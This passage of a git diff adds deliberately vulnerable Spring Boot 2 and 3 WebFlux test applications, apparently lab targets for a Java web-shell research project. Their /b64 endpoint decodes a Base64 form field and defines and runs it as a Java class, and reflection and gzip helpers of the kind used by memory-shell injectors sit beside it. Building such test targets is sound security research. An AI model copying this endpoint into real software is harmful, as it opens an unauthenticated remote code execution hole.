defineClass(byte[] bytes) { + return defineClass(null, bytes, 0, bytes.length); + } +} \ No newline at end of file diff --git a/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java b/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java new file mode 100644 index 00000000..b4e5f953 --- /dev/null +++ b/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/VulSpringboot2Application.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.vul.springboot2; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.context.annotation.Bean; +import org.springframework.web.reactive.function.server.RequestPredicates; +import org.springframework.web.reactive.function.server.RouterFunction; +import org.springframework.web.reactive.function.server.RouterFunctions; +import org.springframework.web.reactive.function.server.ServerResponse; + +@SpringBootApplication +public class VulSpringboot2Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot2Application.class, args); + } +} diff --git a/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java b/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..87effd0b --- /dev/null +++ b/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/controller/Base64ClassLoaderController.java @@ -0,0 +1,36 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import com.reajason.javaweb.vul.springboot2.ClassDefiner; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.server.ServerWebExchange; +import reactor.core.publisher.Mono; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController { + @PostMapping + public Mono handleFormSubmission(ServerWebExchange exchange) { + System.out.println("hello i'm coming"); + return exchange.getFormData() + .flatMap(formData -> { + String data = formData.getFirst("data"); + System.out.println("b64: " + data); + byte[] bytes = Base64.getDecoder().decode(data); + Object o = null; + try { + o = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytes).newInstance(); + } catch (Exception e) { + throw new RuntimeException(e); + } + return Mono.just(o.toString()); + }); + } +} diff --git a/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java b/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java new file mode 100644 index 00000000..eb2337fc --- /dev/null +++ b/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/controller/IndexController.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.vul.springboot2.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RequestMapping +@RestController +public class IndexController { + @GetMapping("/test") + public String test() { + return ""; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot3-webflux/Dockerfile b/vul/vul-springboot3-webflux/Dockerfile new file mode 100644 index 00000000..f7b196f6 --- /dev/null +++ b/vul/vul-springboot3-webflux/Dockerfile @@ -0,0 +1,8 @@ +FROM openjdk:17 +WORKDIR /app + +COPY build/libs/vul-springboot3-webflux.jar /app/app.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar app.jar \ No newline at end of file diff --git a/vul/vul-springboot3-webflux/build.gradle b/vul/vul-springboot3-webflux/build.gradle new file mode 100644 index 00000000..762cd72d --- /dev/null +++ b/vul/vul-springboot3-webflux/build.gradle @@ -0,0 +1,18 @@ +plugins { + id 'java' + id 'org.springframework.boot' version '3.3.7' + id 'io.spring.dependency-management' version '1.1.7' +} + +group = 'com.reajason.javaweb.vul' +version = '' + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(17) + } +} + +dependencies { + implementation 'org.springframework.boot:spring-boot-starter-webflux' +} diff --git a/vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java b/vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java new file mode 100644 index 00000000..8a3b8601 --- /dev/null +++ b/vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java @@ -0,0 +1,14 @@ +package com.reajason.javaweb.vul.springboot3; + +public class ClassDefiner extends ClassLoader { + public ClassDefiner() { + } + + public ClassDefiner(ClassLoader parent) { + super(parent); + } + + public Class defineClass(byte[] code) { + return defineClass(null, code, 0, code.length); + } +} \ No newline at end of file diff --git a/vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java b/vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java new file mode 100644 index 00000000..84ce7083 --- /dev/null +++ b/vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java @@ -0,0 +1,13 @@ +package com.reajason.javaweb.vul.springboot3; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class VulSpringboot3Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot3Application.class, args); + } + +} diff --git a/vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java b/vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..4ed75c84 --- /dev/null +++ b/vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java @@ -0,0 +1,35 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import com.reajason.javaweb.vul.springboot3.ClassDefiner; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.server.ServerWebExchange; +import reactor.core.publisher.Mono; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController { + + @PostMapping + public Mono handleFormSubmission(ServerWebExchange exchange) { + return exchange.getFormData() + .flatMap(formData -> { + String data = formData.getFirst("data"); + byte[] bytes = Base64.getDecoder().decode(data); + Object o = null; + try { + o = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytes).newInstance(); + } catch (Exception e) { + throw new RuntimeException(e); + } + return Mono.just(o.toString()); + }); + } +} \ No newline at end of file diff --git a/vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java b/vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java new file mode 100644 index 00000000..1df49d6d --- /dev/null +++ b/vul/vul-springboot3-webflux/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java @@ -0,0 +1,123 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +public class IndexController { + + @RequestMapping("/test") + public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + return ""; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) throws + Exception { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot3-webflux/src/main/resources/application.properties b/vul/vul-springboot3-webflux/src/main/resources/application.properties new file mode 100644 index 00000000..a83ba03e --- /dev/null +++ b/vul/vul-springboot3-webflux/src/main/resources/application.properties @@ -0,0 +1 @@ +spring.application.name=vul-springboot3